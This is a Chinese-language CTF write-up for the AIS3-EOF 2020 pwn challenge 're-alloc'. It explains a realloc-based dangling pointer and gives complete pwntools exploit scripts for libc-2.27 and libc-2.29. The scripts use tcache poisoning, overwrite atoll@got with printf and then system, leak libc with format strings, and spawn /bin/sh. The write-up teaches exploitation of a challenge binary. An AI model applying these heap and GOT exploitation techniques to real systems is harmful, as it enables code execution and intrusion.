AIS3-EOF-Qual 2020 - [Pwn] re-alloc
===
- [Description](#Description)
- [Vulns](#Vulns)
- [Idea](#Idea)
- [Exploit on libc-2.27](#Exploit-on-libc-227)
- [Exploit on libc-2.29](#Exploit-on-libc-229)
# Description


題目給了 `libc-2.29.so`, 以此判斷可運行在 ubuntu 19.04

這題一開始我是先在比較熟悉的 `libc-2.27.so` 上找出 solution
才接著又寫了一個打 `libc-2.29.so` 的版本
而以下會先解釋 `libc-2.27.so` 版
再講比賽時適用的 `libc-2.29.so` 版(比較有隨著版本變遷的港覺 ouo)
# Vulns
realloc 還蠻神奇的, 看看 realloc 的 source code (可參考[我的筆記](https://hackmd.io/BoPKMhLwQM25-ClipHCdpw?view))
`realloc(oldmem, bytes)` 有幾個 case
- `oldmem == NULL`
- 形同 call `malloc(bytes)`
- `oldmem != NULL && bytes == 0`
- 形同 call `free(oldmem)`
- `oldmem != NULL && bytes != 0`
- 這才不會只是其他已經有的咚咚的形狀
題目中的三個主要 function 主要功能如下
- Alloc
- 實際上使用 `ptr = realloc(NULL,size);`
- Realloc
- 實際上使用 `ptr = realloc(heap[idx],size);`
- Free
- 實際上使用 `realloc(heap[idx],0);`
(當然這只是簡化,下文將假設你已詳細看完 code)
若先用 Alloc 創造一塊 size 是 0x20 的 chunk
再用 Realloc 中, 輸入此 chunk idx **並且 size 輸入 0**
**會變成 free 掉這塊 chunk, 卻沒將此 ptr 清除, 造成 dangling pointer**
**再用 Free, 輸入此 chunk idx, 達到 double free**
# Idea
思路是製造出 T-cache double free
因為 PIE disabled 而且 RELRO partial, 所以往爆改 got table 想
看到 atoll 的參數 buf 是可輸入的, 如果能把 atoll 改成 system 就能直接開 shell
但因為 ASLR, 不知道 libc 位址, 也就不知道 system 位址
所以要先想辦法 leak libc
而要 leak libc,可以透過把 atoll 改成 printf@plt (PIE disabled 所以 printf@plt 已知)
就有 Format string vulns, 就能 leak 躺在 registers/stack 裡的值, 這些地方有機會有 libc address
表示這樣有機會 leak libc
leak 後要再想辦法再度把 atoll 改成 system, 就能簡簡單單輸入 `/bin/sh` 開 shell
# Exploit on libc-2.27
首先是一些 function 定義, 方便後續 exploit 好寫
```python
from pwn import *
context.arch = 'amd64'
printf_plt = 0x401070
atoll_got = 0x404048
def allocate(idx, size, data=None):
p.sendlineafter('choice: ', str(1))
p.sendlineafter('Index:', str(idx))
p.sendlineafter('Size:', str(size))
if data != None:
p.sendafter('Data:', data)
def reallocate(idx, size, data=None):
p.sendlineafter('choice: ', str(2))
p.sendlineafter('Index:', str(idx))
p.sendlineafter('Size:', str(size))
if data != None:
p.sendafter('Data:', data)
def rfree(idx, isBytes=False):
p.sendlineafter('choice: ', str(3))
if isBytes == False:
p.sendlineafter('Index:', str(idx))
else:
p.sendlineafter('Index:', idx)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
p = process('./re-alloc')
```
再來是把 atoll@got 改成 printf@plt 的部分
```python
# Double free attack
writehere = atoll_got
allocate(1, 0x10, b'a'*0x10) # heap[1] = malloc(0x10)
reallocate(1, 0) # free(heap[1])
rfree(1) # free(heap[1]), heap[1] = 0
```
以上部分稍作解釋:
- 首先 `allocate(1, 0x10, b'a'*0x10)`, 重點是執行了
- `heap[1] = realloc(NULL, 0x10)`
因為 `oldmem == NULL` 所以實際上是等同呼叫 `malloc(0x10)`,返回 size 0x20 chunk
- `reallocate(1, 0)`,重點是執行了
- `ptr = realloc(heap[1], 0);`
因為 `oldmem != NULL && bytes == 0` 所以實際上等同呼叫 `free(heap[1])` 造成 dangling pointer
- `rfree(1)`,重點是執行了
- `realloc(heap[1], 0);`
跟上面理由一樣, 等同呼叫 `free(heap[1])` 造成 Tcache double free
- `heap[1] = NULL `
此時 heap[1] 才終於被清除, 但 double free 已成形
```python
allocate(0, 0x10, p64(writehere).ljust(0x10, b'\x87')) # heap[0] = malloc(0x10)
rfree(1) # malloc(0), garbage
payload = p64(printf_plt)
allocate(1, 0x10, payload[:0x7]) # heap[1] = malloc(0x10), arbitrary write
```
- 申請走第一個 0x20 Tcache bin
- 此時這塊 chunk 處於 Used 和 Free 之間
- 隨後往之寫入 atoll@got 的位址, 覆蓋掉 fd, 控制 0x20 Tcache chain
- 原本的 chain 長這樣
- 躺在heap的正常 chunk -> 躺在heap的正常 chunk **(double free)**
- 後來變成
- 躺在heap的正常 chunk -> **atoll@got** -> \?\?\?\?\?
- `rfree(1)` 重點是執行了 `realloc(heap[1], 0)`
- 但 `heap[1]` 已清空, 所以符合 `oldmem == NULL`
- 所以實際上是執行 `malloc(0)`, 申請 size 0x20 的 chunk
- 原本的 chain 長成這樣
- 躺在heap的正常 chunk -> **atoll@got** -> \?\?\?\?\?
- 後來變成
- **atoll@got** -> \?\?\?\?\?
- 下次再 allocate 一塊 0x20 的 chunk 就會拿到以 **atoll@got** 最為資料頭的 chunk
- 如此就能改寫 **atoll@got** 囉
再來是 leak libc 的部分
```python
# Leak libc
rfree('%7$p')
libc.address = int(p.recvuntil('\n', drop=True), 16) - libc.symbols['_IO_2_1_stdout_']
print('libc: {:#x}'.format(libc.address))
```
注意現在 `atoll` 已經變成 `printf`, 所以多一個 Format string vuln 可以打ㄌ
leak 出來 libc 後, 再來就是再度改寫 `atoll` 的部分
```python
# Double free attack again with Format string attack
reallocate('\0', '%95x', '\0') # heap[0] = realloc(heap[0], 0x60)
reallocate('\0', '\0') # free(heap[0])
rfree('\0') # free(heap[0]), heap[0] = 0
allocate('\0', '%95x', p64(writehere) + b'\0') # heap[0] = malloc(0x60)
rfree(b'%9$nxxxx' + p64(0x4040d0), isBytes=True) # Clear heap[0] by fmt str attack
allocate('\0', '%95x', p64(writehere) + b'\0') # heap[0] = malloc(0x60), garbage
rfree(b'%9$nxxxx' + p64(0x4040d0), isBytes=True) # Clear heap[0] by fmt str attack
payload = p64(libc.symbols['system'])
allocate('\0', '%95x', payload[:0x7]) # heap[0] = malloc(0x60), arbitrary write
```
注意 `printf` 的 return 值是輸出了多少字
所以可以透過 `printf('\0')` 來讓 return 值是 0
- 原先未改寫 atoll@got 的時候要 free heap[0] 時...
- `rfree(0)`
- 因為 `atoll("0\n")` return 0, idx = 0
- 將之改寫成 `printf` 後, 一樣想 free heap[0] 時...
- `rfree('\0')`
- 因為 `printf("\0\n")` return 0, idx = 0
- 想 `malloc(0x60)` 時
- `atoll("96\n")` return 0x60
- `printf("%95x\n")` 也是 return 0x60 (換行也算輸出一個字元)
只是這階段的限制是不能再 free 到 heap[1], 因為那邊 chunk 沒有偽造好, free 下去會爆掉
但沒關係, 有 format string vuln, 可以讓我用了 heap[0] 後再把 heap[0] 清空, 就能一直 allocate
此階段結束後, atoll@got 就成功改寫成在 libc 中的 system 了
```python
rfree(b'/bin/sh\0', isBytes=True) # system('/bin/sh')
p.interactive()
```
爽拿 shell
# Exploit on libc-2.29
而以上 exploit 無法打 libc-2.29 的原因是
libc-2.29 對於 Tcache 的 double free attack 加了防禦:
```c
static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
...
#if USE_TCACHE
{
size_t tc_idx = csize2tidx (size);
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *) chunk2mem (p);
/* This test succeeds on double free. However, we don't 100%
trust it (it also matches random payload data at a 1 in
2^<size_t> chance), so verify it's not an unlikely
coincidence before aborting. */
if (__glibc_unlikely (e->key == tcache))
{
tcache_entry *tmp;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = tmp->next)
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}
if (tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (p, tc_idx);
return;
}
}
}
#endif
...
}
```
可以看到
- `if (tcache != NULL && tc_idx < mp_.tcache_bins)`
- `tcache` 在這邊已經有初始化過了, 且因為 size 被限制在 0x78 底下, 正常來說一定滿足 `tc_idx < mp_.tcache_bins`
- `if (__glibc_unlikely (e->key == tcache))`
- `e->key` 其實就跟熟悉的 chunk->bk 代表同一個地方
- 在正常 free 掉之後, `e->key` 會被設定為 `tcache`
- 也就是說,正常寫 code 情況下, 這個 if 通常不會成立, 因為你不會沒事 double free, `e->key` 在還沒 free 的情況下是正常使用者存放的資料, 不太會等於 `tcache`, 這個多加的防禦對於正常使用情況下只會多跑一兩個 if 判斷, 效能影響不大
- **阿不過這就是問題所在, 就是因為這個, 直接打 double free 時會讓此 if 成立**
- 裡面直接遍尋整個 linked list, 有重複就 `malloc_printerr`
但目前也想不到其他方法, 只能試圖硬繞看看這個保護
**進到遍尋整個 linked list 的 code block 的話, double free 一定會被揪出來**
所以不要進到辣個 code block, 只能想辦法讓前面兩個 if 其中一個不要走進去
而第一個 if 直覺想是繞不掉
第二個 if 要改掉`e->key`(跟 bk 同樣位址) 好像值得一踹
但突然就被我 Try 到 realloc 的一個特性, 讓我完全不用用到 double free
```c
void *
__libc_realloc (void *oldmem, size_t bytes)
{
...
if (SINGLE_THREAD_P)
{
newp = _int_realloc (ar_ptr, oldp, oldsize, nb);
assert (!newp || chunk_is_mmapped (mem2chunk (newp)) ||
ar_ptr == arena_for_chunk (mem2chunk (newp)));
return newp;
}
...
}
```
進到 `_int_realloc` 後, 若 `oldsize >= nb` 則仍舊分配 `oldp` 給 `newp`, 意思是反正舊有的 chunk size 夠大, 要做的只是調整 size, 如果 remainder 還有足夠大的空間就要多做處理一下
來看 exploit 腳本的部分
前面 function 部分跟上一 part 的相同
```python
# Double-free-like attack
writehere = atoll_got
allocate(1, 0x10, b'a'*0x2) # heap[1] = malloc(0x10)
reallocate(1, 0) # free(heap[1])
allocate(0, 0x10, b'a'*0x2) # heap[0] = malloc(0x10)
rfree(1) # free(heap[1]), heap[1] = 0
reallocate(0, 0x10, p64(writehere).ljust(0x10, b'\x87')) # heap[0] = realloc(heap[0], 0x10)
rfree(1) # malloc(0), garbage
payload = p64(printf_plt)
allocate(1, 0x10, payload[:0x7]) # heap[1] = malloc(0x10), arbitrary write
```
解釋一下:
- `heap[1] = malloc(0x10)`
- 寫入啥不重要
- `free(heap[1])`
- `heap[0] = malloc(0x10)`
- 寫入啥不重要
- 製造出 `heap[0]` `heap[1]` 都指向同一塊記憶體
- `free(heap[1])`
- 先 free 是為了等等要再來這邊拿 chunk
- 現在 Tcache chain:
- 躺在heap的正常 chunk -> 0 (end)
- **`heap[0] = realloc(heap[0], 0x10)`**
- 因為 `heap[0]` 未清空, 指著一塊 size 正確的 chunk
- **這邊就就用到剛剛說的 realloc 的特性**, `oldsize >= nb`
- **舊 size 夠大, newp 依舊是 oldp, return `heap[0]` 就好**
- 如此就能寫入ㄌ, 寫進 `atoll@got`
- 現在 Tcache chain:
- 躺在heap的正常 chunk -> **atoll@got** -> \?\?\?\?\?
- `malloc(0)`
- 現在 Tcache chain:
- **atoll@got** -> \?\?\?\?\?
如此一來再拿一塊就能把 `atoll@got` 改寫成 `printf@plt` 嚕
一樣的 leak libc
```python
# Leak libc
rfree('%7$p')
libc.address = int(p.recvuntil('\n', drop=True), 16) - libc.symbols['_IO_2_1_stdout_']
print('libc: {:#x}'.format(libc.address))
```
最後一部分
```python
# Double free attack again with Format string attack
rfree(b'%9$nxxxx' + p64(0x4040d0), isBytes=True) # Clear heap[0] by fmt str attack
rfree(b'%9$nxxxx' + p64(0x4040d8), isBytes=True) # Clear heap[1] by fmt str attack
allocate('a\0', '%95x', b'a'*0x2) # heap[1] = malloc(0x60)
reallocate('a\0', '\0') # free(heap[1])
allocate('\0', '%95x', b'a'*0x2) # heap[0] = malloc(0x60)
rfree('a\0') # free(heap[1]), heap[1] = 0
reallocate('\0', '%95x', p64(writehere).ljust(0x10, b'\x87')) # heap[0] = realloc(heap[0], 0x60)
rfree(b'%9$nxxxx' + p64(0x4040d0), isBytes=True) # Clear heap[0] by fmt str attack
allocate('\0', '%95x', b'a'*0xf) # heap[0] = malloc(0x60), garbage
payload = p64(libc.symbols['system'])
allocate('a\0', '%95x', payload[:0x7]) # heap[1] = malloc(0x60), arbitrary write
```
利用跟前面一樣的道理, 把 `atoll@got` 改為 `system`
```python
rfree(b'/bin/sh\0', isBytes=True) # system('/bin/sh')
p.interactive()
```
**這種打法就能通吃 libc-2.27 libc-2.29 了**
###### tags: `CTF`